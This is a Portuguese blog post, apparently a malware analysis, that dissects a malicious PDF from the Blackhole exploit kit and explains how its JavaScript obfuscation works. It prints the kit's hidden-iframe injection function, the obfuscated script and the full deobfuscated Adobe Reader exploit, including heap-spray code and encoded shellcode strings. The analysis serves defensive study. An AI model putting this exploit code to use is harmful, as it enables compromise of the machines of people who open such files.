Um pouco sobre ofuscação em javascript
Esse post seria uma continuação do post anterior Buscando um hobby encontrei o “Blackhole xpl Kit" , na verdade é a análise de um pdf que eu baixei do BlackHole EK.
No outro post havia chegado até o Plugin-Detect que é usado para saber qual é sua versão do navegador e até os plugins que vc tem no navegador (Ex: java, adobe acrobat)
A função era:
function libt() {
var pifr = document.createElement("if" + "ra" + "me");
pifr.setAttribute('width', 11);
pifr.setAttribute('height', 12);
pifr.setAttribute('style', "top:100px;position:absolute");
pifr.setAttribute('src', "/a24fd24d17281a4b9f7e45df07098970/a.php?jLeLfUhcdl=3139383631&qOnEBFdbMxs=W&AmeRS=33646531383236363864&AfioNwTx=302e302e302e30");
document.body.appendChild(pifr);
}
Consegui fazer o download de um arquivo chamado: 55c66.pdf -> [Virus Total Analysis]
Segundo a Análise do VirusTotal a média de detecção é de: Detection ratio 13 / 45 (Um pouco baixa)
Podemos ver que o antivirus da Microsoft detecta a ameaça como Exploit:Win32/CVE-2010-0188
Aqui no site da CVE vemos que é um exploit para Adobe Acrobat Reader entre as versões 8.x até 8.2.1 e da 9.x até 9.3.1
Vamos investigar um pouco mais sobre esse pdf:
$pdf-parser.py --stats 55c66.pdf
Comment: 4
XREF: 1
Trailer: 0
StartXref: 0
Indirect object: 23
9: 6, 18, 19, 20, 21, 22, 28, 31, 48
/Annot 1: 15
/Catalog 1: 1
/EmbeddedFile 6: 41, 42, 111, 44, 45, 46
/Font 3: 14, 27, 29
/FontDescriptor 1: 30
/Page 1: 8
/Pages 1: 2
Podemos ver que realmente aqui não aparece o objeto /Javascript onde normalmente nos PDF maliciosos estão sempre presentes. Mas podemos reparar que há /EmbeddedFile com isso damos uma olhada um poucos mais a fundo nos objetos para descobrir se existe alguma coisa maliciosa nesse arquivo.
Analisando os objetos uma realmente me chama a atenção:
$ pdf-parser.py --filter --raw 55c66.pdf --object 111
obj 111 0
Type: /EmbeddedFile
Referencing:
Contains stream<<
/Length 1313
/Filter /FlateDecode
/Type /EmbeddedFile
>>
Observamos que /Length tem 1313 bytes, ou seja, que é um pouco grande para um arquivo dentro do PDF.
E o conteúdo do objeto é esse (Passei no jsbeautifier, para poder indentar o código):
<script type="text/javascript">// <![CDATA[
yy=0;
if(this.clone('field') != null){
yy=1;
}
if(yy){
x='eI';
zz="ly";
z=event["target"];
}
xs="\x65";
dd="Code";
ddd="mCha\x72";
if(this.addItem('template')===null)s=caca="ntv";
if(yy)xx=s[2].concat("\x61"+"\x6c");
if(yy){
XA=
function(a,b){
return ZA(a,b);
};
}
a=[XA(('7'),0X6),XA(('6'),0X1),XA(('7'),0X2),XA(('2'),0X0),XA(('7'),0X0),XA(('6'),0X1),XA(('6'),0X4),XA(('6'),0X4),XA(('6'),0X9),XA("6E"),XA(('6'),0X7),XA("3B"),XA(('7'),0X6),XA(('6'),0X1),XA(('7'),0X2),XA(('2'),0X0),XA(('6'),0X2),XA(('6'),0X2),XA(('6'),0X2),XA("2C"),XA(('2'),0X0),XA(('6'),0X3),XA(('6'),0X3),XA(('6'),0X3),XA("2C"),XA(('2'),0X0),XA(('6'),0X4),XA(('6'),0X4),XA(('6'),0X4),XA("2C"),XA(('2'),0X0),XA(('6'),0X5),XA(('6'),0X5),XA(('6'),0X5),XA("2C"),XA(('2'),0X0),XA(('6'),0X6),XA(('6'),0X6),XA(('6'),0X6),XA("2C"),XA(('2'),0X0),XA(('6'),0X7),XA(('6'),0X7),XA(('6'),0X7),XA("2C"),XA(('2'),0X0),XA(('6'),0X8),XA(('6'),0X8),XA(('6'),0X8),XA("3B"),XA(('7'),0X6),XA(('6'),0X1),XA(('7'),0X2),XA(('2'),0X0),XA(('7'),0X0),XA("6F"),XA(('6'),0X9),XA("6E"),XA(('7'),0X4),XA(('6'),0X5),XA(('7'),0X2),XA(('7'),0X3),XA("5F"),XA(('6'),0X1),XA("2C"),XA(('2'),0X0),XA(('3'),0X6),XA("3B"),XA(('3'),0X3),XA(('6'),0X5),XA(('6'),0X6),XA(('6'),0X6),XA("3B"),XA(('3'),0X5),XA(('3'),0X0),XA(('3'),0X3),XA(('6'),0X3),XA("3B"),XA(('3'),0X3),XA(('3'),0X8),XA(('3'),0X0),XA(('3'),0X1),XA(('6'),0X5),XA(('3'),0X5),XA("3B"),XA(('6'),0X2),XA(('3'),0X8),XA(('6'),0X3),XA(('6'),0X5),XA(('6'),0X2),XA(('3'),0X8),XA(('3'),0X5),XA(('3'),0X5),XA(('3'),0X0),XA(('3'),0X5),XA(('3'),0X9),XA(('3'),0X1),XA("3B"),XA(('3'),0X0),XA(('6'),0X3),XA("3B"),XA(('3'),0X3),XA(('3'),0X8),XA(('3'),0X0),XA(('3'),0X5),XA(('3'),0X0),XA(('3'),0X0),XA("3B"),XA(('3'),0X0),XA(('3'),0X0),XA("3B"),XA(('3'),0X0),XA(('3'),0X0),XA("3B"),XA(('6'),0X6),XA(('6'),0X6),XA(('3'),0X8),XA(('3'),0X6),XA("3B"),XA(('3'),0X0),XA(('3'),0X4),XA("3B"),XA(('6'),0X1),XA(('3'),0X6),XA("3B"),XA(('3'),0X0),XA(('3'),0X5),XA("3B"),XA(('3'),0X8),XA(('3'),0X5),XA(('3'),0X0),XA(('3'),0X0),XA("3B"),XA(('3'),0X0),XA(('3'),0X0),XA("3B"),XA(('3'),0X0),XA(('3'),0X0),XA(('3'),0X0),XA(('3'),0X0),XA(('3'),0X8),XA(('6'),0X5),XA("3B"),XA(('3'),0X9),XA(('6'),0X6),XA("3B"),XA(('3'),0X2),XA(('6'),0X5),XA(('6'),0X6),XA(('6'),0X6),XA("3B"),XA(('6'),0X6),XA(('6'),0X6),XA(('6'),0X6),XA(('6'),0X6),XA(('3'),0X8),XA(('3'),0X9),XA("3B"),XA(('3'),0X8),XA(('6'),0X5), <SNIPPET>....XA("3B")];
if(zz=="ly")z[xs+xx](String["\x66ro".concat(ddd,dd)]["apply"](String,a));
function ZA(a,b){
a+=b;
sq=z[xs+xx]("\x70a"+"rs"+x+s[0]+s[1]);
if(yy)return sq(a,yy*16);
}
// ]]></script>
Cortei o código ofuscado por que realmente era muito grande. Você pode conseguir o código completo aqui -> PASTEBIN.
Os autores de malware tentam sempre ao máximo dificultar a análise dos arquivos, sempre tentam fazer com que pareça a coisa mais difícil do mundo e também tentem escapar das detecções de Antivirus.
Vamos começar analisando o código:
Como podemos ver até agora o código tinha muita coisa pra tentar dificultar e quase nada objetivo.
A próxima sessão é o que realmente é a parte importante, ou seja, a parte que liga com a descodificação do código:
Vamos analisar um pouco mais a funçã0 XA:
if(yy){
XA= function(a,b)
{
return ZA(a,b);
};
}
function ZA(a,b)
{
a+=b;
sq=z[xs+xx]("\x70a"+"rs"+x+s[0]+s[1]);
if(yy)return sq(a,yy*16);
}
Isso realmente não passa de alguns truques para confundir a cabeça de quem está analisando:
sq=z[xs+xx]("\x70a"+"rs"+x+s[0]+s[1]);
Aqui podemos ver que isso "sq" =("\x70a"+"rs"+x+s[0]+s[1]) ou seja, o comando "parseInt" .
E a outra linha:
if(yy)return sq(a,yy*16);
Essa linha nada mais é que um retorno da função "parseInt", yy=1*16 ou seja simplesmente com 16 já funciona. Vamos ver o que faz a função "parseInt" em javascript segundo o site da W3Schools [ LINK PARA parseInt ]
The parseInt() function parses a string and returns an integer.The radix parameter is used to specify which numeral system to be used, for example, a radix of 16 (hexadecimal) indicates that the number in the string should be parsed from a hexadecimal number to a decimal number.
If the radix parameter is omitted, JavaScript assumes the following:
If the string begins with "0x", the radix is 16 (hexadecimal)
Agora já sabemos o que faz, "parsear" uma string e retornar um valor inteiro e com o argumento 16 retornar o valor de um hexadecimal em inteiro.
Agora re-escrevendo o código para que decodifique o código ofuscado seria algo como:
XA = function(a,b){
a+=b;
return parseInt(a,16);
}
a=[XA(('7'),0X6),XA(('6'),0X1),XA(('7'),0X2)];
Utilizando uma consola de java online como a repl.it podemos verificar que o resultado é o que realmente queremos:
Conclusão:
O código ofuscado era um exploit para o Adobe Acrobat
Update: Como tive um tempo para analisar o conteúdo do do código ofuscado, vou falar um pouco de como consegui saber de onde estava o endereço de internet que apontava para o download do payload do malware.
O código desofuscado do código anterior é:
var padding;
var bbb, ccc, ddd, eee, fff, ggg, hhh;
var pointers_a, i;
var x = new Array();
var y = new Array();
var _l1 = "4c20600f0517804a3c20600f0f63804aa3eb804a3020824a6e2f804a41414141260000000000000000000000000000001239804a6420600f000400004141414141414141" + "00;0037;445797;85;a615;45;9795;268737;f4;d3;25;6777;24;84;856717d6;1562b6;26;45;4427b425;d395;553445d6;45;44d4f4;7515;16;5534;e4;6243;33d3b64587f6;57;b4;b4;67;624363;83;33;6333;63;33;233383;3313335363;4363;3333;d3d6c4;66;17;8426;a4;62336383;33933363;63;13;63d386d4d4a6e674;b6;86;f4f30786;07;e2;16;f2;f2;03;73;93;839303;73;03;66;46;53;4356;73669326;43;16;1383;23;73;13;46;4323;46;66432316;f2;0373;938393;03730366;4653;43;56;736693;2643;161383;23;73;13;46;43;23;46;66;432316f2;d6f6;36;e2;37e6f696;47;1636;96e6;57;d6d6f6;3687;f6265676;e616;86;36;f2f2a3;074747;86;07;f2a1;63;9764;6c;b1b5;a8ac33db;10f698;e0;a8ef89ce;e0;e4e8ffffef;c9;8e;80;65;ffefa600a6;4c;57;00f3;08;74;af;57;00;f308;7431;be;20be;c03c3840;65;ff35;c0;be38;00a6;40;65;ff;3500;a6;61570c58;4165;ff;00;a67535;00;a600;a6;151440d14488;03;401c;a895;00;90d144;6c;c6;c6;46;e2;50;d144;7c47;26;077700d1;44;7c15;9c;338eb8c0;65;ff;0000;008f;86;350237;d202804244;7c2333;27;67;404244;7c37;76;56;27;42;407c;c042;c5;d80000;10;40;ce;18;27be;20beffff;ff;168e8e;b880;4c38;61ff;45d6;c6;27;578600;00e6f686;3eff;503c;3801e5;b8ceb8550591;0c;380500;00;00;ff86;04;a6;05;8500;00;00008e;9f;2eff;ffff89;8e9550a6;7f;b8;8086;b83f;be;69;30;4733c0d7080286b8;da35;be3c;95;e5ba5c;30b8;40;b8;dd;30;8db8;c042;45;ffce;64d8;b4;c0b8;66dd;3042e5;b8e56e57;f1;b31f;be04ad;30;d0;bc1c;80472f8301ebf0bd335c;30;da;cf14949c33;5f;30;0267b8;65;5f;30;87;53;47b8;c357b865;15c4be9e15;574e;58;42;43;78bf;57;60;93;643c0304;b88bffff0151ee18c2;334730;c3;e5;b866;bd33;8067;b865c1;07b8c0;04b8;0304b846;0c33f59e;43;57;4e58cf;cf;4e;3866".split('').reverse().join('').replace(/;/g, '');
var _l2 = "4c20600fa563804a3c20600f9621804a901f804a3090844a7d7e804a41414141260000000000000000000000000000007188804a6420600f000400004141414141414141" + "00;003744;57;9785;a6;15;45979526;87;37;f4d325;677724;8485;67;17d6;15;62;b6;26454427;b425d395;55;3445;d6;45;44;d4f475151655;34e46243;33d3;b6;4587;f6;57b4;b4;6762;43;63;83;336333;633323;33;83331333;5363;43;6333;33d3;d6c4;6617;8426a46233;63;83;33;933363;6313;63d3;86d4;d4a6;e674;b686f4;f307;86;07;e2;16f2;f20373;938393;03;73;0366;46;53;4356;73;66;932643;161383;23;73;13;46;43;2346;66;4323;16f203;73;93839303;73036646;534356;7366932643;16138323;7313464323;466643;23;16f2;d6;f636;e2;37;e6f6;96471636;96e6;57d6d6;f63687f6;265676e6;168636f2f2a307;47;47;86;07f2;a163;97646c;b1;b5;a8ac;33db;10;f698;e0;a8ef89;ce;e0e4e8;ffff;ef;c98e;8065;ff;efa600;a6;4c57;00f3;08;74af57;00;f3;08;7431;be;20;bec03c;384065;ff;35c0be;38;00;a6;40;65ff;35;00a6;6157;0c;58;4165;ff00a675;35;00a600;a6;151440;d144;88;03401c;a89500;90;d1;44;6cc6;c6;46;e250d1;44;7c4726;0777;00;d1;447c15;9c338e;b8;c0;65ff00;00;008f;86;35;02;37;d2;0280;42;44;7c2333;27;674042;447c3776562742;40;7cc0;42;c5d8;00;001040ce1827be;20be;ffff;ff168e8eb8804c3861ff;45;d6c6275786;0000e6;f6;86;3eff50;3c;38;01;e5;b8;ce;b85505910c;380500;00;00ff;86;04;a605;850000;00008e;9f2e;ff;ff;ff898e95;50;a6;7fb88086;b83f;be69304733c0;d7;080286b8da35be;3c95;e5;ba;5c;30;b8;40;b8dd308d;b8c0;42;45;ff;ce64d8b4;c0b8;66;dd30;42e5b8e5;6e57;f1;b31fbe04ad30d0;bc1c;8047;2f83;01;ebf0bd;33;5c30dacf;14;94;9c;335f;30;0267;b8;65;5f;3087;5347;b8;c3;57b8;65;15c4be9e;1557;4e;58;42;43;78bf;57;60;93;643c03;04;b8;8bff;ff01;51;ee;18c2;334730;c3e5b8;66bd338067;b8;65;c107b8;c0;04b8;03;04b8460c;33;f5;9e;43574e58cfcf4e3866".split('').reverse().join('').replace(/;/g, '');
_l3 = app;
_l4 = new Array();
function _l5() {
var _l6 = _l3.viewerVersion.toString();
_l6 = _l6.replace('.', '');
while (_l6.length < 4) _l6 += '0';
return parseInt(_l6, 10)
}
function _l7(_l8, _l9) {
while (_l8.length * 2 < _l9) _l8 += _l8;
return _l8.substring(0, _l9 / 2)
}
function _I0(_I1) {
_I1 = unescape(_I1);
roteDak = _I1.length * 2;
dakRote = unescape('%u9090');
spray = _l7(dakRote, 0x2000 - roteDak);
loxWhee = _I1 + spray;
loxWhee = _l7(loxWhee, 524098);
for (i = 0; i < 400; i++) _l4[i] = loxWhee.substr(0, loxWhee.length - 1) + dakRote;
}
function _I2(_I1, len) {
while (_I1.length < len) _I1 += _I1;
return _I1.substring(0, len)
}
function _I3(_I1) {
ret = '';
for (i = 0; i < _I1.length; i += 2) {
b = _I1.substr(i, 2);
c = parseInt(b, 16);
ret += String.fromCharCode(c);
}
return ret
}
function _ji1(_I1, _I4) {
_I5 = '';
for (_I6 = 0; _I6 < _I1.length; _I6++) {
_l9 = _I4.length;
_I7 = _I1.charCodeAt(_I6);
_I8 = _I4.charCodeAt(_I6 % _l9);
_I5 += String.fromCharCode(_I7 ^ _I8);
}
return _I5
}
function _I9(_I6) {
_j0 = _I6.toString(16);
_j1 = _j0.length;
_I5 = (_j1 % 2) ? '0' + _j0 : _j0;
return _I5
}
function _j2(_I1) {
_I5 = '';
for (_I6 = 0; _I6 < _I1.length; _I6 += 2) {
_I5 += '%u';
_I5 += _I9(_I1.charCodeAt(_I6 + 1));
_I5 += _I9(_I1.charCodeAt(_I6))
}
return _I5
}
function _j3() {
_j4 = _l5();
if (_j4 < 9000) {
_j5 = 'o+uASjgggkpuL4BK/////wAAAABAAAAAAAAAAAAQAAAAAAAAfhaASiAgYA98EIBK';
_j6 = _l1;
_j7 = _I3(_j6)
} else {
_j5 = 'kB+ASjiQhEp9foBK/////wAAAABAAAAAAAAAAAAQAAAAAAAAYxCASiAgYA/fE4BK';
_j6 = _l2;
_j7 = _I3(_j6)
}
_j8 = 'SUkqADggAABB';
_j9 = _I2('QUFB', 10984);
_ll0 = 'QQcAAAEDAAEAAAAwIAAAAQEDAAEAAAABAAAAAwEDAAEAAAABAAAABgEDAAEAAAABAAAAEQEEAAEAAAAIAAAAFwEEAAEAAAAwIAAAUAEDAMwAAACSIAAAAAAAAAAMDAj/////';
_ll1 = _j8 + _j9 + _ll0 + _j5;
_ll2 = _ji1(_j7, '');
if (_ll2.length % 2) _ll2 += unescape('%00');
_ll3 = _j2(_ll2);
with({
k: _ll3
}) _I0(k);
ImageField1.rawValue = _ll1
}
_j3();
Segundo o VirusTotal a "engine" da Microsfot detectou como "Exploit:JS/Mult.DJ"
No site da Microsoft pode encontrar mas informação sobre esse exploit:
PayloadExploit:JS/Mult.DJ is designed to exploit the following vulnerabilities through the browser:
CVE-2006-0003
CVE-2007-5659
CVE-2008-2992
CVE-2009-0927
CVE-2009-1671
CVE-2009-4324
CVE-2010-0840
CVE-2010-0842
CVE-2010-0886
CVE-2010-1423
CVE-2010-1885
Vamos analisar o shellcode que esta na variável "_l1" e sacar o shellcode (Uhuuu Shellcode)
Agora vamos analisar o shellcode e ver qual informação podemos conseguir:
Wow.. agora temos la URL de onde o payload é baixado =)
Happy Hunting =)





Legal parabéns... só não gostei do sintax highlighting que usa poderia ter um fundo diferente de #000, nem que fosse um cinza ... pois olhando pode-se confundir com texto do blog e código... do mais isos ae abr
Opa... E ai Cooler, melhorou? Algumas pessoas falaram que ficou meio confusa a visibilidade.. Valeu a dica...
O site está melhorando a cada novo post. Parabéns a todos envolvidos! []